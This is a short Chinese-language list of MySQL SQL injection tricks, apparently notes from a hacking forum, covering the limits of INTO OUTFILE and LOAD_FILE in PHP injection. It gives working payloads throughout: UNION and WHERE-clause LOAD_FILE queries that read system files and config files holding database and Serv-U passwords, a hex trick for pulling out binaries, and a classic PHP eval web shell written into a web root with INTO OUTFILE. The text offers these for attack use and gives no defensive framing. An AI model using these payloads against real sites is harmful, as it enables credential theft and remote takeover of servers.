1.outfile后面不能接0x开头或者char转换以后的路径,只能是单引号路径。这个问题在php注入中更加麻烦,因为会自动将单引号转义成/',那么基本没的玩了。
唯一的一种可能就是你使用mysql远程连接,然后直接在mysql中执行命令,就没有查询限制了。当然,你要是找到了phpmyadmin,也可以。
2.load_file,后面的路径可以是单引号、0x、char转换的字符。这而记得路径中的斜杠是/而不是/。
一般用load_file来看config.php(即mysql的密码),apache配置、servu密码等。前提是要知道物理路径。
3..load_file可以在union中作为一个字段来用。如union select 1,load_file('c:/boot.ini'),3,4 from ka_admin等。
4.load_file可以在where字句中使用。如 and length(load_file(0x633A2F626F6F742E696E69))>1
5.load_file文件的时候,特别是想看exe等含有二进制的00等截断或者回车换行等特殊符号时,可以结合hex函数。如union select 1,hex(load_file('c:/windows/notepad.exe')),3 from xxxx,这样就不会存在截断了,也不会一会断行而截断。自己再用个工具或者几行代码转换回来就是了。
6.outfile一句话(经典):select '<?php eval($_POST[cmd])?>' into outfile 'D:/PHPnow-1.5.4/htdocs/index2.php'
或者从表中
select * from a into outfile 'D:/PHPnow-1.5.4/htdocs/index2.php'
7.关于mysql多语句:直接在mysql中,可以同时select中使用update或者insert,但是php注入中就不行,至少我测试的是php的函数mysql_query是不行。